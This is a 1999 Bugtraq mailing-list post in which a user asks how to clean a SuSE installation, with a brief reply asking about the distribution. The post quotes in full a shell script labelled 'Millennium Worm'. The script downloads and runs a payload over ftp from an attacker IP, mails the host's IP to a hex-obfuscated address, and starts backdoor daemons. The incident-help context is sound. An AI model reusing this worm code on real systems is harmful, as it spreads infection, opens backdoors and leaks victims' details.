Bugtraq mailing list archives

Re: MW


From: tracc () ABRAXIS COM (Nassar Carnegie)
Date: Sat, 4 Sep 1999 03:33:16 -0400


Was this part of a suse installation?
What distro are you running?

---
Nassar Carnegie
tracc () abraxis com

On Wed, 1 Sep 1999, Christian Koderer wrote:

Knows anybody MW (millennium worm?) and how i get my s.u.s.e
installation clean?

"#!/bin/.mwsh
# Millennium Worm by Anonymous
# If you found this on your machine, but didn't download it
# well.. you have a problem :)
export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."
export IP_A=`./IP`

../prepare for your d00m mortalz

cat << _EOF_ > cmd
mw
mw
mw
mw
mw
/bin/.mwsh -c "/usr/sbin/named" &
export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."
mkdir /tmp/....
cd /tmp/....
if [ -f /tmp/.X12 ]
then
logout
fi
ftp $IP_A
mw


cd /tmp/....
get mworm.tgz
bye
tar xvzf mworm.tgz
touch /tmp/.X12
nohup ./mworm &
../IP | mail `printf
"\x62\x65\x75\x72\x70\x40\x68\x6f\x74\x6d\x61\x69\x6c\x2e\x63\x6f\x6d"`
logout
_EOF_

../mwd &
../mwd-pop &
../mwd-imap &
../mwd-mountd &
../mwd-ftp &
sleep 60
nohup ./mwd &
nohup ./mwd-pop &
nohup ./mwd-imap &
nohup ./mwd-mountd &
nohup ./mwd-ftp &

/bin/.mwsh -c ./bd
"




Current thread: